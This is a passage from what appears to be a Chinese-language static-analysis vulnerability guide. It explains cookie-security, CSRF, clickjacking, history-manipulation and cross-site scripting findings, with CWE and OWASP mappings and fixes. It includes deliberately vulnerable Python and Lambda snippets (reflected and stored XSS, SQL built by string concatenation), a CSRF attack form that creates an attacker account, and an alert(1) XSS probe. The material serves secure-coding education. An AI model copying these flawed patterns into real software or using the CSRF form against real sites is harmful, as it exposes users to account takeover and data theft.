解释	大多数 Web 编程环境默认设置为创建非永久性的 cookie。这些 cookie 仅驻留在浏览器内存中（不写入磁盘），并在浏览器关闭时丢失。程序员可以指定在浏览器会话中保留这些 cookie，直到将来某个日期为止。这样的 cookie 将被写入磁盘，在浏览器会话结束以及计算机重启后仍然存在。 如果私人信息存储在永久性 cookie 中，那么攻击者就有足够的时间窃取这些数据 — 尤其是因为通常将永久性 cookie 设置为在不久的将来到期。永久性 cookie 通常用于在用户与某个站点交互时对其进行标识。根据此跟踪数据的用途，有可能利用永久性 cookie 违反用户隐私。 在这种情况下，将在 X（文件）的第 N 行中设置 Cookie，但将 Expire 参数设置为非零数字。 例 1：以下代码将 cookie 设置为在 10 年后过期。 from django.http.response import HttpResponse ... def view_method(request): res = HttpResponse() res.set_cookie("emailCookie", email, expires=time()+60*60*24*365*10, secure=True, httponly=True) return res ...
建议	不要将敏感数据存储在永久性 cookie 中。应确保在合理的时间内清除与在服务器端存储的永久性 cookie 关联的所有数据。
CWE	CWE ID 539
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cookie Security:Session Cookie not Sent Over SSL**
默认严重性	3.0
摘要	在 X（文件） 中第 N 行上，程序不会将 SESSION_COOKIE_SECURE 属性显式设置为 True，也不会将其设置为 False。程序不会将 SESSION_COOKIE_SECURE 属性显式设置为 True，也不会将其设置为 False。
解释	现今的 Web 浏览器支持每个 cookie 的 Secure 标记。如果设置了该标记，那么浏览器只会通过 HTTPS 发送 cookie。通过未加密的通道发送 cookie 将使其受到网络截取攻击，因此安全标记有助于保护 cookie 值的保密性。如果 cookie 包含私人数据、会话标识符，或带有 CSRF 标记，那么该标记尤其重要。 这种情况下，在 X（文件） 中的第 N 行上，程序无法将 SESSION_COOKIE_SECURE 属性设置为 True。 示例 1：以下配置条目不会显式设置会话 cookie 的 Secure 位。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... 如果应用程序同时使用 HTTPS 和 HTTP，但没有设置 Secure 标记，那么在 HTTPS 请求过程中发送的 cookie 也会在随后的 HTTP 请求过程中被发送。攻击者随后可截取未加密的网络信息流（通过无线网络时十分容易），从而危及 cookie 安全。
建议	对所有 cookie 设置 Secure 标记，指示浏览器不要通过 HTTPS 发送这些 cookie。 示例 2：以下代码会通过将 SESSION_COOKIE_SECURE 属性显式设置为 True 来更正 Example 1 中的错误。 ... MIDDLEWARE_CLASSES = ('django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware',

返回目录

	'csp.middleware.CSPMiddleware', 'django.middleware.security.SecurityMiddleware', ...) ... SESSION_COOKIE_SECURE = True ...
CWE	CWE ID 614
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Cross Site History Manipulation**
默认严重性	3
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法可能泄漏服务器侧的条件值，使用户可以从其他网站上跟踪。这可能造成侵犯隐私。
解释	攻击者可以通过操纵浏览器的 JavaScript History 对象破坏浏览器的同源策略并侵犯用户的隐私。在某些情况下，这使攻击者可以检测用户是否已登录、跟踪用户的活动或推断其他条件值的状态。这也可能泄露初始攻击的结果，从而增强跨站点请求伪造 (XSRF) 攻击。 现代浏览器会将用户的浏览历史记录作为先前访问过的 URL 的堆栈公开给本地 JavaScript。虽然浏览器强制执行严格的同源策略 (SOP) 以防止一个网站的页面读取在其他网站上访问的 URL，但 History 对象确实会泄漏历史堆栈的大小。在某些情况下，仅使用这些信息，攻击者即可以发现应用程序在服务器端执行的某些检查的结果。例如，如果应用程序将未经身份验证的用户重定向到登录页面，则另一个网站上的脚本可以通过检查 History 对象的长度来检测用户是否已登录。 当应用程序根据某些条件的值、用户的服务器端会话的状态重定向用户的浏览器时，就会造成信息泄漏。例如，用户是否已经过应用程序的身份验证、用户是否访问了有特定参数的特定页面，或某些应用程序数据的值。更多信息请见 https://www.checkmarx.com/wp-content/uploads/2012/07/XSHM-Cross-site-history-manipulation.pdf。
建议	通用指南： 将响应标题 "X-Frame-Options: DENY" 添加到应用中的所有敏感页面，以针对现代浏览器版本中的 IFrame 版本 XSHM 提供保护。 具体建议： 将一个随机值作为参数添加到所有目标 URL。
CWE	CWE ID 203
OWASP2017	None

返回目录

漏洞名称	**Cross-Frame Scripting**
默认严重性	3.0
摘要	如果未能限制在 iframe 内包含应用程序，则会导致跨站请求伪造或钓鱼攻击。
解释	当应用程序出现以下情况时，将出现 cross-frame scripting 漏洞： 1. 允许自身包含在 iframe 内。 2. 未能通过 X-Frame-Options 标头指定组帧策略。 3. 使用不力保护，如基于 JavaScript 的 frame busting 逻辑。 跨框架脚本漏洞经常为 clickjacking 攻击奠定基础，攻击者可利用其执行跨站请求伪造或钓鱼攻击。
建议	现代浏览器支持 X-Frame-Options HTTP 标头，它指示允许在帧内还是 iframe 内加载资源。如果响应包含值为 SAMEORIGIN 的标头，则当请求来自同一个站点时，浏览器将只在帧中加载资源。如果标头设置为 DENY，则无论站点是否发出请求，浏览器都将阻止在帧中加载资源。 Django 提供简单的中间件，以便在响应中自动包含此标头。使用以下设置启用 XFrameOptionsMiddleware ... MIDDLEWARE_CLASSES = (... 'django.middleware.clickjacking.XFrameOptionsMiddleware', ...)
CWE	CWE ID 1021
OWASP2017	None

返回目录

漏洞名称	**Cross-Site Request Forgery**
默认严重性	3.0
摘要	Django 应用程序不启用 CSRF 中间件保护
解释	跨站点伪装请求（CSRF）漏洞会在以下情况下发生： 1. Web 应用程序使用会话 cookie。 2. 应用程序未验证请求是否经过用户同意便处理 HTTP 请求。 Nonce 是随消息一起发送的加密随机值，可防止 replay 攻击。如果该请求未包含证明其来源的 nonce，则处理该请求的代码将易受到 CSRF 攻击（除非它并未更改应用程序的状态）。这意味着使用会话 cookie 的 Web 应用程序必须采取特殊的预防措施，确保攻击者无法诱骗用户提交伪请求。假设有一个 Web 应用程序，它允许管理员通过提交此表单来创建新帐户： <form method="POST" action="/new_user" > Name of new user: <input type="text" name="username"> Password for new user: <input type="password" name="user_passwd"> <input type="submit" name="action" value="Create User"> </form> 攻击者可能会使用以下内容来建立一个网站： <form method="POST" action="http://www.example.com/new_user"> <input type="hidden" name="username" value="hacker"> <input type="hidden" name="user_passwd" value="hacked"> </form> <script> document.usr_form.submit(); </script> 如果 example.com 的管理员在网站上具有活动会话时访问了恶意页面，则会在毫不知情的情况下为攻击者创建一个帐户。这就是 CSRF 攻击。正是由于该应用程序无法确定请求的来源，才有可能受到 CSRF 攻击。任何请求都有可能是用户选定的合法操作，也有可能是攻击者设置的伪操作。攻击者无法查看伪请求生成的网页，因此，这种攻击技术仅适用于篡改应用程序状态的请求。 如果应用程序通过 URL 传递会话标识符（而不是 cookie），则不会出现 CSRF 问题，因为攻击者无法访问会话标识符，也无法在伪请求中包含会话标识符。
建议	在 settings.py 中启用 django.middleware.csrf.CsrfViewMiddleware 中间件，使 Django 能在 POST 请求中自动插入 CSRF 标记。 使用会话 Cookie 的应用程序必须在每个表单发布中包含几条信息，以便后端代码可以用来验证请求的来源。为此，其中一种方法就是使用一个随机请求标识符或随机数，如下所示：

返回目录

	RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "/new_user");
	body = addToPost(body, new_username);
	body = addToPost(body, new_passwd);
	body = addToPost(body, request_id);
	rb.sendRequest(body, new NewAccountCallback(callback));
	这样，后端逻辑可先验证请求标识符，然后再处理其他表单数据。如果可能，每个服务器请求的请求标识符都应该是唯一的，而不是在特定会话的各个请求之间共享。对于会话标识符而言，攻击者越难猜出请求标识符，则越难成功进行 CSRF 攻击。标记不应能够轻松猜出，应以保护会话标记的方法对其加以保护，例如使用 TLSv1.2。
	其他缓解技术还包括：
	框架保护：大多数现代化的 Web 应用框架都嵌入了 CSRF 保护，它们将自动包含并验证 CSRF 标记。
	使用质询-响应控制：强制客户响应由服务器发送的质询是应对 CSRF 的强有力防御方法。可以用于此目的的一些质询如下：CAPTCHA、密码重新验证和一次性标记。
	检查 HTTP Referer/原始标题：攻击者在执行 CSRF 攻击时无法冒仿这些标题。这使这些标题可以用于预防 CSRF 攻击。
	再次提交会话 Cookie：除了实际的会话 ID Cookie 外，将会话 ID Cookie 作为隐藏表单值发送是预防 CSRF 攻击的有效防护方法。服务器在处理其余表单数据之前，会先检查这些值，以确保它们完全相同。如果攻击者代表用户提交表单，则无法根据同源策略 (SOP) 修改会话 ID Cookie 值。
	限制会话的有效期：当通过 CSRF 攻击访问受保护的资源时，只有当作为攻击一部分发送的会话 ID 在服务器上仍然有效时，攻击才会生效。限制会话的有效期将降低攻击成功的可能性。
	这里所描述的技术可以使用 XSS 攻击破解。有效的 CSRF 缓解包括 XSS 缓解技术。

CWE	APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002500 CAT II
OWASP2017	A5 Cross-Site Request Forgery (CSRF)

返回目录

漏洞名称	**Cross-Site Scripting:Content Sniffing**
默认严重性	4.0
摘要	X（文件） 中的方法 XX（方法） 向第 N 行的 Web 浏览器发送未经验证的数据，这可能导致某些浏览器执行恶意代码。向 Web 浏览器发送未经验证的数据可能导致某些浏览器执行恶意代码。
解释	Cross-Site Scripting (XSS) 漏洞会在以下情况下出现： 1.数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。 在这种情况下，数据进入 X（文件） 的第 N 行的 X（函数） 中。 2.未经验证但包含在动态内容中的数据将传送给 Web 用户。 在这种情况下，数据通过 Y（文件） 的第 M 行中的 Y（函数） 传送。 传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私有数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。 为了让浏览器将响应呈现为 HTML 或者可执行脚本的其他文档，必须指定 text/html MIME 类型。因此，仅当响应使用此 MIME 类型或者使用的任何其他类型同样强制浏览器将响应呈现为 HTML 或可执行 SVG 图像 (image/svg+xml) 和 XML 文档 (application/xml) 等脚本的其他文档时，才有可能使用 XSS。 大多数现代浏览器不会呈现 HTML，也不会在为响应提供 application/json 等 MIME 类型时执行脚本。但是，Internet Explorer 等某些浏览器可执行称为 Content Sniffing 的内容。Content Sniffing 涉及到忽略提供的 MIME 类型并尝试根据响应的内容推断正确的 MIME 类型。 但是，值得注意的是，MIME 类型的 text/html 是可能导致 XSS 漏洞的唯一 MIME 类型。可执行 SVG 图像 (image/svg+xml) 和 XML 文档 (application/xml) 等脚本的其他文档可能导致 XSS 漏洞，无论浏览器是否执行 Content Sniffing 都是如此。 因此， <html><body><script>alert(1)</script></body></html> 等响应可能呈现为 HTML，即使其 content-type 标头设置为 application/json 也是如此。 示例 1：以下 AWS Lambda 函数反映了 application/json 响应中的用户数据。

返回目录

	def mylambda_handler(event, context):
	name = event['name']
	response = {
	"statusCode": 200,
	"body": "{'name': name}",
	"headers": {
	'Content-Type': 'application/json',
	}
	}
	return response
	如果攻击者所发送请求的 name 参数设置为 <html><body><script>alert(1)</script></body></html>，则服务器将生成以下响应：
	HTTP/1.1 200 OK
	Content-Length: 88
	Content-Type: application/json
	Connection: Closed
	{'name': '<html><body><script>alert(1)</script></body></html>'}
	尽管响应明确声明应该将其视为 JSON 文档，但旧浏览器仍可能尝试将其呈现为 HTML 文档，使其容易受到 Cross-Site Scripting 攻击。

建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊

返回目录

	的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – “<”是一个特殊字符，因为它可以引入一个标签。 – “<”是一个特殊字符，因为它可以引入一个字符实体。 – “>”是一个特殊字符，之所以某些浏览器将其视为特殊字符，是基于一种假设，即页面创建者本想在前面添加一个“<”，却错误地将其遗漏了。 下面的这些原则适用于属性值: – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 -“<”与某些特定属性一起使用时是特殊字符，因为它可以引入一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以单击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符: – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 -“<”是特殊字符，因为它可以引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的“%”符号。例如，当输入中出现“%68%65%6C%6C%6F”时，只有从输入的内容中过滤掉“%”，上述字符串才能在网页上显示为“hello”。 在 <SCRIPT> </SCRIPT> 正文中: - 如果可以将文本直接插入到已有的脚本标签中，则应该过滤掉分号、圆括号、花括号和换行符。 服务器端脚本:

返回目录

	– 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。 引入了一种新响应头，以指示浏览器不执行任何 MIME 探查：X-Content-Type-Options: nosniff。请注意，Internet Explorer 7 等旧浏览器不会遵守此标头。
CWE	CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Persistent**
默认严重性	4.0
摘要	文件 X（文件） 的第 N 行向一个 Web 浏览器发送了未验证的数据，从而导致该浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Persistent（也称为 Stored）XSS，不可信赖的数据源通常为数据库或其他后端数据存储，而对于 Reflected XSS，该数据源通常为 Web 请求。
	在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 Y（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	例 1：以下 Python 代码片段可从 HTTP 请求中读取雇员 ID eid，并将其显示给用户。
	req = self.request() # fetch the request object
	eid = req.field('eid',None) # tainted request message
	...
	self.writeln("Employee ID:" + eid)
	如果 eid 只包含标准的字母或数字文本，这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。
	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
	例 2：以下 Python 代码片段可根据一个已知的雇员 ID 查询数据库，并显示出相应的雇员姓名。
	...
	cursor.execute("select * from emp where id="+eid)
	row = cursor.fetchone()
	self.writeln('Employee name: ' + row["emp"]')

返回目录

	... 如同 Example 1，如果对 name 的值处理得当，该代码就能正常地执行各种功能；如若处理不当，就会对代码的漏洞利用行为无能为力。同样，这段代码看起来似乎危险较小，因为 name 的值是从数据库中读取的，而且这些内容明显是由应用程序管理的。然而，如果 name 的值来自用户提供的数据，数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证，那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS（或 Stored XSS），它极其隐蔽，因为数据存储导致的间接行为会增大辨别威胁的难度，并使多个用户受此攻击影响的可能性提高。XSS 漏洞利用首先会在网站上为访问者提供一个"留言簿"。攻击者会在这些留言簿的条目中嵌入 JavaScript，接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。 正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种： - 如 Example 1 中所示，系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。 - 如 Example 2 中所示，应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中，并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用：攻击者将危险内容注入到数据存储中，而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权，或者可以与敏感数据交互，这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人敏感数据的访问权。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态

返回目录

	内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学（Carnegie Mellon University）软件工程学院（Software Engineering Institute）下属的 CERT(R) (CERT(R) Coordination Center）合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – "<" 是一个特殊字符，因为它可以引入一个标签。 – "&" 是一个特殊字符，因为它可以引入一个字符实体。 – ">" 是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个 "<"，却错误地将其遗漏了。 下面的这些原则适用于属性值: – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 - "&" 与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。

返回目录

	例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符： – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 - "&" 是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现 "%68%65%6C%6C%6F" 时，只有从输入的内容中过滤掉 "%"，上述字符串才能在网页上显示为 "hello"。 在 <SCRIPT> </SCRIPT> 的正文内： - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本： – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。 如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 79, CWE ID 80

返回目录

OWASP2017	A7 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Poor Validation**
默认严重性	2.0
摘要	X（文件） 中的第 N 行会使用 HTML、XML 或其他类型的编码，但这些编码方式并不总是能够防止恶意代码访问 Web 浏览器。依靠 HTML、XML 和其他类型的编码来验证用户输入可能会导致浏览器执行恶意代码。

解释	使用特定编码函数能避免一部分 Cross-Site Scripting 攻击，但不能完全避免。根据数据出现的上下文，除 HTML 编码的基本字符 <、>、& 和 " 以及 XML 编码的字符 <、>、&、" 和 ' 之外，其他字符可能具有元意。依靠此类编码函数等同于用一个安全性较差的拒绝列表来防止 cross-site scripting 攻击，并且可能允许攻击者注入恶意代码，并在浏览器中加以执行。由于不可能始终准确地确定静态显示数据的上下文，因此即便进行了编码，Fortify 安全编码规则包仍会报告 Cross-Site Scripting 结果，并将其显示为 Cross-Site Scripting: Poor Validation 问题。
	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。
	在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 Y（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	示例 1：下面的 Python 代码片段在 HTTP 请求中读取雇员 ID eid，对其进行 HTML 编码，并将其显示给用户。
	req = self.request() # fetch the request object
	eid = req.field('eid',None) # tainted request message
	...
	self.writeln("Employee ID:" + escape(eid))
	如果 eid 只包含标准的字母或数字文本，这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。
	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建

返回目录

